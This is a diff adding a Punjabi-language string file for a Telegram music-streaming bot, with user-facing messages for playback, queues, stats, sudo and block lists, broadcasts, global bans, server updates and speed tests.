+set_cb_1 : "ਪ੍ਰਾਪਤ ਕਰ ਰਹੇ ਹਨ ਮਨਜੂਰ ਯੂਜ਼ਰਾਂ ਪੈਨਲ..."
+set_cb_2 : "ਪ੍ਰਾਪਤ ਕਰ ਰਹੇ ਹਨ ਪਲੇ ਮੋਡ ਪੈਨਲ..."
+set_cb_3 : "ਸੈੱਟਿੰਗ ਅੱਪ ਕੀਤੀ ਜਾ ਰਹੀ ਹੈ..."
+set_cb_4 : "» ਮੰਜੂਰ ਕੀਤੇ ਗਏ ਯੂਜ਼ਰਾਂ ਦੀ ਲਿਸਟ ਪ੍ਰਾਪਤ ਕੀਤੀ ਜਾ ਰਹੀ ਹੈ..."
+set_cb_5 : "» ਵਾਪਸ ਪ੍ਰਾਪਤ ਕੀਤਾ ਜਾ ਰਿਹਾ ਹੈ..."
+
+gstats_1 : "ਪ੍ਰਾਪਤ ਕਰ ਰਿਹਾ ਹੈ {0} ਸਟੈਟਸ ਅਤੇ ਜਾਣਕਾਰੀ...\n\nਇਹ ਥੋੜੇ ਸਮੇਂ ਲਗ ਸਕਦਾ ਹੈ, ਕਿਰਪਾ ਕਰਕੇ ਰੁਕੋ..."
+gstats_2 : "ਨੀਚੇ ਦਿੱਤੇ ਗਏ ਬਟਨਾਂ 'ਤੇ ਕਲਿਕ ਕਰੋ ਤਾਂ {0} ਦੀ ਸਟੈਟਸ ਦੇਖੋ."
+gstats_3 : "{0} ਸਟੈਟਸ ਅਤੇ ਜਾਣਕਾਰੀ :\n\nਅਸਿਸਟੈਂਟਾਂ : {1}
\nਬਲੌਕ : {2}
\nਚੈਟਾਂ : {3}
\nਯੂਜ਼ਰ : {4}
\nਮੋਡਿਊਲਾਂ : {5}
\nਸੁਡੋਅਰ : {6}
\n\nਆਟੋ ਛੱਡਣ ਵਾਲਾ ਅਸਿਸਟੈਂਟ : {7}\nਪਲੇ ਦੀ ਮਿਆਦ ਸੀਮਾ : {8} ਮਿੰਟਾਂ"
+gstats_4 : "ਇਹ ਬਟਨ ਸਿਰਫ ਸੁਡੋਅਰਾਂ ਲਈ ਹੈ."
+gstats_5 : "{0} ਸਟੈਟਸ ਅਤੇ ਜਾਣਕਾਰੀ :\n\nਮੋਡਿਊਲਾਂ : {1}
\nਪਲੈਟਫਾਰਮ : {2}
\nਰੈਮ : {3}
\nਫਿਜਿਕਲ ਕੋਰਸ : {4}
\nਕੁੱਲ ਕੋਰਸ : {5}
\nਸੀਪੀਯੂ ਫ਼ਰੀਕਵੈਂਸੀ : {6}
\n\nਪਾਇਥਨ : {7}
\nਪਾਇਥਾਂ : {8}
\nਪਾਇਥਾਂ-ਟੀਜੀਕਾਲਾ : {9}
\n\nਸਟੋਰੇਜ ਉਪਲੱਬਧ : {10} ਗੀਬੀ
\nਸਟੋਰੇਜ ਵਰਤੇ : {11} ਗੀਬੀ
\nਸਟੋਰੇਜ ਬਾਕੀ : {12} ਗੀਬੀ
\n\nਸੇਵਿਆਂ ਦੀਆਂ ਚੈਟਾਂ : {13}
\nਸੇਵਿਆਂ ਦੇ ਯੂਜ਼ਰ : {14}
\nਬਲੌਕ ਕੀਤੇ ਯੂਜ਼ਰ : {15}
\nਸੁਡੋ ਯੂਜ਼ਰ : {16}
\n\nਕੁੱਲ ਡੀਬੀ ਆਕਾਰ : {17} ਐਮਬੀ
\nਕੁੱਲ ਡੀਬੀ ਸਟੋਰੇਜ : {18} ਐਮਬੀ
\nਕੁੱਲ ਡੀਬੀ ਕਲੈਕਸ਼ਨ : {19}
\nਕੁੱਲ ਡੀਬੀ ਕੀਜ : {20}
"
+
+playcb_1 : "» ਆਓ, ਇਹ ਤੁਹਾਡੇ ਵਾਸਤੇ ਨਹੀਂ ਹੈ ਮੇਰੇ ਮਨਾਣ ਦੇ ਅਨੁਸਾਰ."
+playcb_2 : "» ਅਗਲੇ ਨਤੀਜੇ ਪ੍ਰਾਪਤ ਕੀਤੇ ਜਾ ਰਹੇ ਹਨ,\n\nਕਿਰਪਾ ਕਰਕੇ ਉਡੀਕ ਕਰੋ..."
+
+cplay_1 : "» ਤੁਸੀਂ {0} ਤੋਂ ਕਿਸੇ ਵੀ ਚੈਨਲ 'ਤੇ ਗੀਤ ਖੇਡ ਸਕਦੇ ਹੋ ਜਾਂ ਤੁਹਾਡੇ ਚੈਟ ਦੇ ਲਿੰਕ ਦਿੱਤੇ ਚੈਨਲ 'ਤੇ।\n\nਲਿੰਕ ਦਿੱਤੇ ਚੈਨਲ ਲਈ:\n/channelplay linked
\n\nਕਿਸੇ ਹੋਰ ਚੈਨਲ ਲਈ:\n/channelplay [ਚੈਨਲ ਆਈਡੀ]
"
+cplay_2 : "» ਇਸ ਚੈਟ ਦੇ ਕੋਈ ਵੀ ਲਿੰਕ ਦਿੱਤੇ ਚੈਨਲ ਨਹੀਂ ਹਨ।"
+cplay_3 : "» ਚੈਨਲ ਨੂੰ {0} ਲਈ ਨਿਰਧਾਰਤ ਕੀਤਾ ਗਿਆ ਹੈ।\nਚੈਨਲ ਆਈਡੀ : {1}
"
+cplay_4 : "» ਚੈਨਲ ਨੂੰ ਪ੍ਰਾਪਤ ਕਰਨ 'ਚ ਅਸਫ਼ਲ ਹੋਇਆ।\n\nਮੁੱਖਬੂਟੀ ਬਣਾਓ ਕਿ ਤੁਸੀਂ ਆਪਣੇ ਚੈਨਲ ਵਿੱਚ ਬੋਟ ਸ਼ਾਮਲ ਕਰ ਚੁੱਕੇ ਹੋ ਅਤੇ ਉਸ ਨੂੰ ਐਡਮਿਨ ਬਣਾ ਦਿੳੁ।"
+cplay_5 : "ਸਿਰਫ਼ ਚੈਨਲਾਂ ਦਾ ਸਮਰਥਨ ਕੀਤਾ ਗਿਆ ਹੈ।"
+cplay_6 : "» ਤੁਹਾਨੂੰ ਚੈਨਲ {0} ਦਾ ਮਾਲਕ ਹੋਣ ਦੀ ਲੋੜ ਹੈ ਇਸ ਨੂੰ ਇਸ ਗਰੁਪ ਨਾਲ ਮੇਲਾਓ।\nਚੈਨਲ ਦਾ ਮਾਲਕ : @{1}\n\nਵਿਕਲਪ ਤੌਰ 'ਤੇ, ਤੁਸੀਂ ਆਪਣੇ ਗਰੁਪ ਨੂੰ ਉਹ ਚੈਨਲ ਦੇ ਸਥਾਨ 'ਤੇ ਲਿੰਕ ਕਰ ਸਕਦੇ ਹੋ ਅਤੇ ਫਿਰ /channelplay linked
ਨਾਲ ਜੁੜਣ ਦੀ ਕੋਸ਼ਿਸ਼ ਕਰੋ।"
+cplay_7 : "» ਚੈਨਲ ਪਲੇ ਅਸਮਰਥ ਕੀਤਾ ਗਿਆ ਹੈ।"
+
+play_1 : "🔍"
+play_2 : "➻ ਚੈਨਲ ਪਲੇ ਮੋਡ\n\nਪ੍ਰੋਸੈਸਿੰਗ, ਕਿਰਪਾ ਕਰਕੇ ਉਡੀਕੋ...\n\nਲਿੰਕ ਕੀਤਾ ਚੈਨਲ : {0}"
+play_3 : "» ਪ੍ਰੋਸੈਸ਼ ਕਰਨ ਵਿੱਚ ਅਸਫ਼ਲ ਹੋਇਆ।"
+play_4 : "ਕੇਵਲ ਐਡਮਿਨ ਪਲੇ\nਇਸ ਚੈਟ ਦੇ ਐਡਮਿਨ ਹੀ ਖੇਡ ਸਕਦੇ ਹਨ\n\n/playmode ਰਾਹੀਂ ਖੇਡਣ ਦਾ ਮੋਡ ਬਦਲੋ"
+play_5 : "» ਆਡੀਓ ਫਾਇਲ ਦੀ ਪ੍ਰੋਸੈਸ਼ਿੰਗ ਵਿੱਚ ਅਸਫ਼ਲ ਹੋਇਆ।\n\nਆਡੀਓ ਫਾਇਲ ਦਾ ਆਕਾਰ ਨੀਚੇ ਦਿੱਤੇ ਸੀਮਤ ਤੋਂ ਵੱਡਾ ਹੈ।"
+play_6 : "» ਸਟ੍ਰੀਮ {0} ਤੋਂ ਲੰਬਾ ਹੈ ਅਤੇ {1} 'ਤੇ ਖੇਡਣ ਦੀ ਆਗਿਆ ਨਹੀਂ ਹੈ"
+play_7 : "» ਮਾਨਿਆ ਵਿਡੀਓ ਫਾਇਲ ਐਕਸ਼ਟੇਸ਼ਨ ਨਹੀਂ ਹੈ।\n\nਸਹਾਇਕ ਐਕਸ਼ਟੇਸ਼ਨ: {0}"
+play_8 : "» ਵੀਡੀਓ ਫਾਇਲ ਦਾ ਆਕਾਰ 1ਜੀਬੀ ਤੋਂ ਘੱਟ ਹੋਣਾ ਚਾਹੀਦਾ ਹੈ."
+play_9 : "YouTube ਪਲੇਲਿਸਟ ਫੀਚਰ\n\nਪੂਰੀ YouTube ਪਲੇਲਿਸਟ ਨੂੰ ਖੇਡਣ ਲਈ ਮੋਡ ਚੁਣੋ।"
+play_10 : "ਸਿਰਲੇਖ : {0}\nਮਿੰਟਾਂ ਦੀ ਮੁਦਤ : {1}"
+play_11 : "{0} Spotify ਪਲੇਅਰ\n\nਦੁਆਰਾ ਮੰਗਿਆ ਗਿਆ : {1}"
+play_12 : "{0} Apple ਪਲੇਅਰ\n\nਦੁਆਰਾ ਮੰਗਿਆ ਗਿਆ : {1}"
+play_13 : "» ਲਾਈਵ ਸਟ੍ਰੀਮ ਪਕਡ਼ਿਆ ਗਿਆ ਹੈ।\n\nਕੀ ਤੁਸੀਂ ਯਕੀਨਾਂ ਹੈਂ ਕਿ ਤੁਸੀਂ ਇਸ ਲਾਈਵ ਸਟ੍ਰੀਮ ਨੂੰ ਚੱਲਾਉਣਾ ਚਾਹੁੰਦੇ ਹੋ?"
+play_14 : "ਟ੍ਰੈਕ ਦੇਤਾਇਲਾਂ ਦੀ ਵੱਖਰੀ ਕਰਨਾ ਅਸਫ਼ਲ ਹੋਇਆ।\n\nਕਿਸੇ ਹੋਰ ਨੂੰ ਖੇਡੋ ਕੋਈ ਹੋਰ ਟ੍ਰੈਕ।"
+play_15 : "» ਪੁਰਜ਼ਾ ਦਾ ਇੱਛਰਾ ਕਰਨ ਵਿੱਚ ਅਸਫ਼ਲ ਹੋਇਆ।\n\nਮੈਂ ਕੇਵਲ Spotify ਟ੍ਰੈਕਾਂ, ਐਲਬਮਾਂ, ਕਲਾਕਾਰਾਂ ਅਤੇ ਪਲੇਲਿਸਟ ਖੇਡ ਸਕਦਾ ਹਾਂ।"
+play_16 : "ਕੋਈ ਸਰਗਰਮ ਆਵਾਜ਼ ਚੈਟ ਨਹੀਂ ਹੈ।\n\nਫੋਰਸ ਖੇਡਣ ਲਈ, ਸਰਗਰਮ ਆਵਾਜ਼ ਚੈਟ ਹੋਣੀ ਚਾਹੀਦੀ ਹੈ।"
+play_17 : "ਕਿਰਪਾ ਕਰਕੇ ਵੀਡੀਓ ਚੈਟ ਚਾਲੀਏ, ਮੈਂ URL ਨੂੰ ਸਟ੍ਰੀਮ ਕਰਨ ਲਈ ਅਸਮਰੱਥ ਹਾਂ।"
+play_18 : "ਉਪਯੋਗ : /play [ਗੀਤ ਦਾ ਨਾਮ/YouTube URL/ਆਡੀਓ/ਵੀਡੀਓ ਫਾਇਲ ਦੇ ਪ੍ਰਤੀਕ ਉੱਤਰ]"
+play_19 : "ਕਤਾਰ ਦੀ ਪਲੇਲਿਸਟ:"
+play_20 : "ਕਤਾਰ ਦੀ ਥਾਂ -"
+play_21 : "ਕੱਢੀਆ ਗਿਆ {0} ਟਰੈਕਾਂ ਨੂੰ ਕਤਾਰ ਵਿੱਚ.\n\nਚੈਕ: ਇੱਥੇ ਕਲਿਕ ਕਰੋ"
+play_22 : "ਸਮੱਗਰੀ ਨੂੰ ਉਸ ਤਰੀਕੇ ਨਾਲ ਖੇਡਣ ਦੇ ਮੋਡ ਨੂੰ ਚੁਣੋ ਜਿਸ ਵਿੱਚ ਤੁਸੀਂ ਆਪਣੇ ਗਰੁੱਪ ਵਿੱਚ ਕਤਾਰਾ ਲੱਗਾਉਣਾ ਚਾਹੁੰਦੇ ਹੋ: {0}"
+
+str_1 : "ਕਿਰਪਾ ਕਰਕੇ m3u8 ਜਾਂ ਇੰਡੈਕਸ ਲਿੰਕ ਪ੍ਰਦਾਨ ਕਰੋ."
+str_2 : "➻ ਵੈਲੀਡ ਸਟਰੀਮ ਪੁਸ਼ਟੀ ਕੀਤੀ।\n\nਪ੍ਰੋਸੈਸਿੰਗ..."
+str_3 : "ਯੂਟਿਊਬ ਲਾਈਵ ਸਟਰੀਮ ਚਲਾਉਣ 'ਚ ਅਸਫ਼ਲ ਹੋਇਆ, ਕੋਈ ਲਾਈਵ ਫਾਰਮੈਟ ਨਹੀਂ ਲੱਭਿਆ।"
+
+ping_1 : "{0} ਪਿੰਗ ਲੱਗਾ ਰਿਹਾ ਹੈ..."
+ping_2 : "🏓 ਪੌਂਗ: {0}ਮਿਲੀਸਕਿੰਡ
\n\n{1} ਸਿਸਟਮ ਸਟੈਟਸ:\n\n↬ ਅਪਟਾਇਮ: {2}\n↬ ਰੈਮ: {3}\n↬ ਸੀ.ਪੀ.ਯੂ: {4}\n↬ ਡਿਸਕ: {5}\n↬ ਪਾਈ-ਟੀਜੀ-ਕਾਲਜ: {6}ਮਿਲੀਸਕਿੰਡ
"
+
+queue_1 : "» Ǫᴜᴇᴜᴇ ਲੱਭ ਰਿਹਾ ਹੈ...\n\nਕਿਰਪਾ ਕਰਕੇ ਇੰਤਜ਼ਾਰ ਕਰੋ..."
+queue_2 : "» Ǫᴜᴇᴜᴇ ਖਾਲੀ ਹੈ."
+queue_3 : "» ਕਿਰਪਾ ਕਰਕੇ ਯੋਧਾਂ ਦੀ ਸੂਚੀ ਜਾਂਚਣ ਲਈ ਇੱਥੇ ਕਲਿੱਕ ਕਰੋ : ਇੱਥੇ"
+queue_4 : "➲ ਕਤਾਰ ਵਿੱਚ ਸ਼ਾਮਲ ਕੀਤਾ #{0}\n\n‣ ਸਿਰਲੇਖ : {1}\n‣ ਅੰਤਰਾਲ : {2} ਮਿੰਟ\n‣ ਬੇਨਕਾਰਨ ਕੇਵਲ : {3}"
+queue_5 : "ਇੱਥੇ ਪਲੇਅਲਿਸਟ ਵਿੱਚ ਸਿਰਫ ਇੱਕ ਕਤਾਰ ਵਾਲਾ ਗੀਤ ਹੈ.\n\nਇੱਕ ਹੋਰ ਗੀਤ ਸ਼ਾਮਲ ਕਰੋ ਸੂਚੀ ਜਾਂਚਣ ਲਈ."
+queue_6 : "🕚 ਅੰਤਰਾਲ : ਅਣਜਾਣ ਸ਼੍ਰੇਣੀ ਦੀ ਅਵਧੀ\n\nਪੂਰੀ ਕਤਾਰ ਦੀ ਸੂਚੀ ਲੱਭਣ ਲਈ ਹੇਠਾਂ ਦਿੱਤੇ ਬਟਨ 'ਤੇ ਕਲਿਕ ਕਰੋ."
+queue_7 : "\nਪੂਰੀ ਕਤਾਰ ਦੀ ਸੂਚੀ ਲੱਭਣ ਲਈ ਹੇਠਾਂ ਦਿੱਤੇ ਬਟਨ 'ਤੇ ਕਲਿਕ ਕਰੋ."
+queue_8 : "{0} ਪਲੇਅਰ\n\n🎄 ਸਟ੍ਰੀਮਿੰਗ : {1}\n\n🔗 ਸਟ੍ਰੀਮ ਕਿਸਮ : {2}\n🥀 ਬੇਨਕਾਰਨ ਕੇਵਲ : {3}\n{4}"
+
+stream_1 : "➲ ਸਟਰਟੇਡ ਸਟਰੀਮਿੰਗ |\n\n‣ ਟਾਈਟਲ : {1}\n‣ ਮੁੱਦਤ : {2} ਮਿੰਟ\n‣ ਬੇਨਕਾਰਨ ਕੇਵਲ : {3}"
+stream_2 : "➲ ਸਟਰਟੇਡ ਸਟਰੀਮਿੰਗ |\n\n‣ ਸਟਰੀਮ ਕਿਸਮ : ਲਾਈਵ ਸਟਰੀਮ [ਯੂਆਰਐਲ]\n‣ ਬੇਨਕਾਰਨ ਕੇਵਲ : {0}"
+
+CLOSE_BUTTON : "ਬੰਦ ਕਰੋ"
+BACK_BUTTON : "ਵਾਪਸ"
+
+S_B_1 : "ਮੈਨੂੰ ਸ਼ਾਮਲ ਕਰੋ"
+S_B_2 : "ਸਹਿਯੋਗ"
+S_B_3 : "ਮੇਰੇ ਗਰੁੱਪ ਵਿੱਚ ਮੈਨੂੰ ਸ਼ਾਮਲ ਕਰੋ"
+S_B_4 : "ਮਦਦ ਅਤੇ ਕਮਾਂਡਾਂ"
+S_B_5 : "ਡੈਵੇਲਪਰ"
+S_B_6 : "ਚੈਨਲ"
+S_B_7 : "ਸਰੋਤ ਕੋਡ"
+S_B_8 : "👀 ਯੂਟਿਊਬ 👀"
+S_B_9 : "🥀 ਸਹਿਯੋਗ 🥀"
+
+H_B_1 : "ਐਡਮਿਨ"
+H_B_2 : "ਆਥ"
+H_B_3 : "ਬ੍ਰੋਡਕਾਸਟ"
+H_B_4 : "ਬਲ-ਚੈਟ"
+H_B_5 : "ਬਲ-ਯੂਜ਼ਰ"
+H_B_6 : "ਸੀ-ਪਲੇ"
+H_B_7 : "ਜੀ-ਬੈਨ"
+H_B_8 : "ਲੂਪ"
+H_B_9 : "ਮੈਂਟੀਨੈਂਸ"
+H_B_10 : "ਪਿੰਗ"
+H_B_11 : "ਪਲੇ"
+H_B_12 : "ਸ਼ਫਲ"
+H_B_13 : "ਸੀਕ"
+H_B_14 : "ਗੀਤ"
+H_B_15 : "ਸਪੀਡ"
+
+P_B_1 : "ਆਡੀਓ"
+P_B_2 : "ਵੀਡੀਓ"
+P_B_3 : "ਲਾਈਵ ਸਟ੍ਰੀਮ"
+P_B_4 : "ਨਾਰਮਲ"
+
+ST_B_1 : "ਆਥ ਯੂਜ਼ਰ"
+ST_B_2 : "ਪਲੇ ਮੋਡ"
+ST_B_3 : "ਭਾਸ਼ਾ"
+ST_B_4 : "ਵੋਟਿੰਗ ਮੋਡ"
+ST_B_5 : "ਚਾਲੂ"
+ST_B_6 : "ਬੰਦ"
+ST_B_7 : "ਆਥ ਯੂਜ਼ਰ ➜"
+ST_B_8 : "ਐਡਮਿਨ"
+ST_B_9 : "ਹਰ ਕੋਈ"
+ST_B_10 : "ਸਰਚ ਮੋਡ ➜"
+ST_B_11 : "ਸਿੱਧਾ"
+ST_B_12 : "ਇਨਲਾਇਨ"
+ST_B_13 : "ਐਡਮਿਨ ਕੰਮਾਂਡ ➜"
+ST_B_14 : "ਪਲੇ ਟਾਈਪ ➜"
+
+SA_B_1 : "ਸੰਪੂਰਨ ਸਥਿਤੀ"
+SA_B_2 : "ਆਮ"
+SA_B_3 : "ਸੰਪੂਰਨ"
+
+QU_B_1 : "ਕਤਾਰ"
+QU_B_2 : " {0} —————————— {1}"
+
+sudo_1 : "» {0} ਪਹਿਲਾਂ ਹੀ ਸੁਡੋ ਯੂਜ਼ਰ ਸੂਚੀ ਵਿੱਚ ਹੈ."
+sudo_2 : "» {0} ਨੂੰ ਸੁਡੋ ਯੂਜ਼ਰ ਸੂਚੀ ਵਿੱਚ ਸ਼ਾਮਲ ਕੀਤਾ ਗਿਆ ਹੈ."
+sudo_3 : "» {0} ਸੁਡੋ ਯੂਜ਼ਰ ਸੂਚੀ ਵਿੱਚ ਨਹੀਂ ਹੈ."
+sudo_4 : "» {0} ਨੂੰ ਸੁਡੋ ਯੂਜ਼ਰ ਸੂਚੀ ਤੋਂ ਹਟਾ ਦਿੱਤਾ ਗਿਆ ਹੈ."
+sudo_5 : "🥀 ਮਾਲਕ :\n"
+sudo_6 : "\n✨ ਸੁਡੋ ਯੂਜ਼ਰ :\n"
+sudo_7 : "» ਕੋਈ ਸੁਡੋ ਯੂਜ਼ਰ ਨਹੀਂ ਮਿਲਿਆ."
+sudo_8 : "ਅਸਫਲ."
+
+block_1 : "» {0} ਪਹਿਲਾਂ ਹੀ ਬਲਾਕ ਯੂਜ਼ਰ ਸੂਚੀ ਵਿੱਚ ਹੈ."
+block_2 : "» {0} ਨੂੰ ਬਲਾਕ ਯੂਜ਼ਰ ਸੂਚੀ ਵਿੱਚ ਸ਼ਾਮਲ ਕੀਤਾ ਗਿਆ ਹੈ."
+block_3 : "» {0} ਬਲਾਕ ਯੂਜ਼ਰ ਸੂਚੀ ਵਿੱਚ ਨਹੀਂ ਹੈ."
+block_4 : "» {0} ਨੂੰ ਬਲਾਕ ਯੂਜ਼ਰ ਸੂਚੀ ਤੋਂ ਹਟਾ ਦਿੱਤਾ ਗਿਆ ਹੈ."
+block_5 : "» ਕੋਈ ਬਲਾਕ ਯੂਜ਼ਰ ਨਹੀਂ ਮਿਲਿਆ."
+block_6 : "» ਬਲਾਕ ਯੂਜ਼ਰ ਸੂਚੀ ਪ੍ਰਾਪਤ ਕੀਤੀ ਜਾ ਰਹੀ ਹੈ..."
+block_7 : "😫 ਬਲਾਕ ਯੂਜ਼ਰ :\n\n"
+
+black_1 : "ਉਦਾਹਰਨ:\n\n/blacklistchat [ਚੈਟ ਆਈਡੀ]"
+black_2 : "» ਇਹ ਚੈਟ ਪਹਿਲਾਂ ਹੀ ਬਲੈਕਲਿਸਟ 'ਤੇ ਹੈ।"
+black_3 : "» ਸਫਲਤਾਪੂਰਕ ਤੌਰ 'ਤੇ ਬਲੈਕਲਿਸਟ 'ਤੇ ਚੈਟਾਂ ਨੂੰ ਸ਼ਾਮਲ ਕੀਤਾ ਗਿਆ ਹੈ।"
+black_4 : "ਉਦਾਹਰਨ:\n\n/whitelistchat [ਚੈਟ ਆਈਡੀ]"
+black_5 : "» ਇਹ ਚੈਟ ਬਲੈਕਲਿਸਟ 'ਤੇ ਨਹੀਂ ਹੈ।"
+black_6 : "» ਸਫਲਤਾਪੂਰਕ ਤੌਰ 'ਤੇ ਚੈਟ ਨੂੰ ਬਲੈਕਲਿਸਟ ਤੋਂ ਹਟਾ ਦਿੱਤਾ ਗਿਆ ਹੈ।"
+black_7 : "» ਬਲੈਕਲਿਸਟ 'ਤੇ ਚੈਟਾਂ ਦੀ ਸੂਚੀ:\n\n"
+black_8 : "» {0} 'ਤੇ ਕੋਈ ਬਲੈਕਲਿਸਟ 'ਤੇ ਨਹੀਂ ਹੈ।"
+black_9 : "» ਕੁਝ ਗਲਤ ਹੋ ਗਿਆ ਸੀ।"
+
+maint_1 : "ਉਦਾਹਰਨ:\n/maintenance [ਚਾਲੂ | ਬੰਦ]"
+maint_2 : "» {0} ਮੈਂਟੀਨੈਂਸ ਮੋਡ ਚਾਲੂ ਹੋ ਗਿਆ ਹੈ."
+maint_3 : "» {0} ਮੈਂਟੀਨੈਸ ਮੋਡ ਬੰਦ ਹੋ ਗਿਆ ਹੈ."
+maint_4 : "» ਮੈਂਟੀਨੈਸ ਮੋਡ ਹੀ ਚਾਲੂ ਹੈ."
+maint_5 : "» ਮੈਂਟੀਨੈਸ ਮੋਡ ਹੀ ਬੰਦ ਹੈ."
+
+log_1 : "ਉਦਾਹਰਨ:\n/logger [ਚਾਲੂ | ਬੰਦ]"
+log_2 : "ਲਾਗਰ ਨੂੰ ਚਾਲੂ ਕੀਤਾ ਗਿਆ ਹੈ."
+log_3 : "ਲਾਗਰ ਨੂੰ ਬੰਦ ਕੀਤਾ ਗਿਆ ਹੈ."
+
+broad_1 : "» ਬਰੋਡਕਾਸਟਿੰਗ ਸ਼ੁਰੂ ਹੋ ਗਈ ਹੈ..."
+broad_2 : "ਉਦਾਹਰਨ:\n\n/broadcast [ਸੁਨੇਹਾ ਜਾਂ ਉਤਤਰ ਦੇਣ ਲਈ ਇੱਕ ਸੁਨੇਹਾ]"
+broad_3 : "» {0} ਸੁਨੇਹਿਆਂ ਨੂੰ {1} ਪਿੰਸ ਨਾਲ ਚੈਟਾਂ ਵਿੱਚ ਬ੍ਰੋਡਕਾਸਟ ਕੀਤਾ ਗਿਆ ਹੈ."
+broad_4 : "» {0} ਯੂਜ਼ਰਾਂ ਨੂੰ ਸੁਨੇਹਾ ਮੁੱਕਾਬਲਾ ਕੀਤਾ ਗਿਆ ਹੈ."
+broad_5 : "» ਅਸਿਸਟੈਂਟ ਬਰੋਡਕਾਸਟ ਸ਼ੁਰੂ ਹੋ ਰਿਹਾ ਹੈ..."
+broad_6 : "➻ ਅਸਿਸਟੈਂਟ ਬਰੋਡਕਾਸਟ :\n\n"
+broad_7 : "↬ ਅਸਿਸਟੈਂਟ ਨੇ {0} ਬਰੋਡਕਾਸਟ ਕੀਤਾ {1} ਚੈਟਾਂ ਵਿੱਚ."
+broad_8 : "» ਕਿਰਪਾ ਕਰਕੇ ਬਰੋਡਕਾਸਟ ਕਰਨ ਲਈ ਕੁਝ ਟੈਕਸਟ ਪ੍ਰਦਾਨ ਕਰੋ."
+
+server_1 : "» ਲੋਗਾਂ ਪ੍ਰਾਪਤ ਕਰਨ ਵਿੱਚ ਅਸਫਲ ਹੋਇਆ।"
+server_2 : "ਕ੍ਰਿਪਾ ਕਰਕੇ ਯਕੀਨੀ ਬਣਾਓ ਕਿ ਤੁਹਾਡੀ Heroku API ਕੀ ਅਤੇ ਐਪ ਨਾਮ ਠੀਕ ਤਰ੍ਹਾ ਸੰਰਚਿਤ ਹਨ।"
+server_3 : "ਉਪਲਬਧ ਅੱਪਡੇਟਾਂ ਦੀ ਜਾਂਚ ਹੋ ਰਹੀ ਹੈ..."
+server_4 : "Git ਕੰਮਾਂਡ ਦਾ ਤਰਾਂਗ ਹੋਇਆ ਹੈ।"
+server_5 : "ਅਮਾਨਤ ਨਾਂ ਦੀ ਅਮਾਨਤ ਨਹੀਂ ਹੈ।"
+server_6 : "» ਬੋਟ ਅੱਪ-ਟੁ-ਡੇਟ ਹੈ।"
+server_7 : "» ਬੋਟ ਨੂੰ ਸਫਲਤਾਪੂਰਵਕ ਅੱਪਡੇਟ ਕੀਤਾ ਗਿਆ ਹੈ! ਹੁਣ ਕੁਝ ਮਿੰਟ ਬਾਅਦ ਬੋਟ ਨੂੰ ਮੁੜ-ਆਰੰਭ ਹੋਣ ਦੀ ਪ੍ਰਤੀਕਰਤਾ ਕਰੋ ਅਤੇ ਤਬਦੀਲੀਆਂ ਨੂੰ ਪੁੱਸ਼ ਕਰੋ!"
+server_8 : "{0} ਮੁੜ-ਆਰੰਭ ਹੋ ਰਿਹਾ ਹੈ...\n\n15-20 ਸਕਿੰਟਾਂ ਬਾਅਦ ਤੁਸੀਂ ਮਾਜੂਦਾ ਖੇਡਣਾ ਸ਼ੁਰੂ ਕਰ ਸਕਦੇ ਹੋ।"
+server_9 : "ਕੁਝ ਗਲਤੀ ਹੋਈ ਹੈ, ਕਿਰਪਾ ਕਰਕੇ ਲੋਗ ਜਾਂਚੋ।"
+server_10 : "ਕਿਸੇ ਕਾਰਣਵਾਂ, #ਅੱਪਡੇਟਰ 'ਤੇ ਇੱਕ ਅਸਮਾਨ ਵਾਰੀ ਆਯੋਜਨ ਹੋ ਗਿਆ ਹੈ: {0}
"
+server_11 : "» ਸਪੀਡਟੈਸਟ ਚੱਲ ਰਿਹਾ ਹੈ..."
+server_12 : "⇆ ਡਾਊਨਲੋਡ ਸਪੀਡਟੈਸਟ ਚੱਲ ਰਿਹਾ ਹੈ..."
+server_13 : "⇆ ਅੱਪਲੋਡ ਸਪੀਡਟੈਸਟ ਚੱਲ ਰਿਹਾ ਹੈ..."
+server_14 : "↻ ਸਪੀਡਟੈਸਟ ਨਤੀਜਿਆਂ ਨੂੰ ਸਾਂਝਾ ਕਰ ਰਿਹਾ ਹੈ..."
+server_15 : "✯ ਸਪੀਡਟੈਸਟ ਨਤੀਜੇ ✯\n\nਗਾਹਕ :\n» ਆਈਪੀ : {0}\n» ਦੇਸ਼ : {1}\n\nਸਰਵਰ :\n» ਨਾਮ : {2}\n» ਦੇਸ਼ : {3}, {4}\n» ਸਪਾਂਸਰ : {5}\n» ਲੈਟੈਂਸੀ : {6}\n» ਪਿੰਗ : {7}"
+
+gban_1 : "» ਕਿਉਂ ਤੁਸੀਂ ਆਪਣੇ ਆਪ ਨੂੰ gban ਕਰਨਾ ਚਾਹੁੰਦੇ ਹੋ?"
+gban_2 : "» ਕਿਉਂ ਮੈਂ ਆਪਣੇ ਆਪ ਨੂੰ gban ਕਰਨਾ ਚਾਹੁੰਦਾ ਹਾਂ?"
+gban_3 : "» ਤੁਸੀਂ ਮੇਰੀ sudoers ਨੂੰ gban ਨਹੀਂ ਕਰ ਸਕਦੇ."
+gban_4 : "» {0} ਹੀ ਪਹਿਲਾਂ ਹੀ ਬੋਟ ਤੋਂ ਗਲੋਬਲ ਤੌਰ 'ਤੇ ਬੈਨ ਹੈ।"
+gban_5 : "» {0} 'ਤੇ ਗਲੋਬਲ ਬੈਨ ਸ਼ੁਰੂ ਹੋ ਰਿਹਾ ਹੈ।\n\nਉਮੀਦਵਾਰ ਸਮਾਂ: {1}"
+gban_6 : "{0} 'ਤੇ ਨਵਾਂ ਗਲੋਬਲ ਬੈਨ:\n\nਉੱਤਪਤਤ: {1} [{2}
]\nਯੂਜ਼ਰ: {3}\nਯੂਜ਼ਰ ਆਈਡੀ: {4}\n\nਬੈਨ ਕਰਨ ਵਾਲਾ: {5}\nਚੈਟਸ: {6}"
+gban_7 : "» {0} ਬੋਟ ਤੋਂ ਗਲੋਬਲ ਤੌਰ 'ਤੇ ਬੈਨ ਨਹੀਂ ਹੈ।"
+gban_8 : "» {0} 'ਤੋਂ ਗਲੋਬਲ ਬੈਨ ਨੂੰ ਹਟਾ ਦਿੱਤਾ ਜਾ ਰਿਹਾ ਹੈ।\n\nਉਮੀਦਵਾਰ ਸਮਾਂ: {1}"
+gban_9 : "» {0} 'ਤੋਂ ਗਲੋਬਲ ਬੈਨ ਨੂੰ ਹਟਾ ਦਿੱਤਾ ਜਾ ਰਿਹਾ ਹੈ।\n\n{1} ਚੈਟਾਂ ਵਿਚ ਵਾਪਸ ਆ ਸਕਦਾ ਹੈ।"
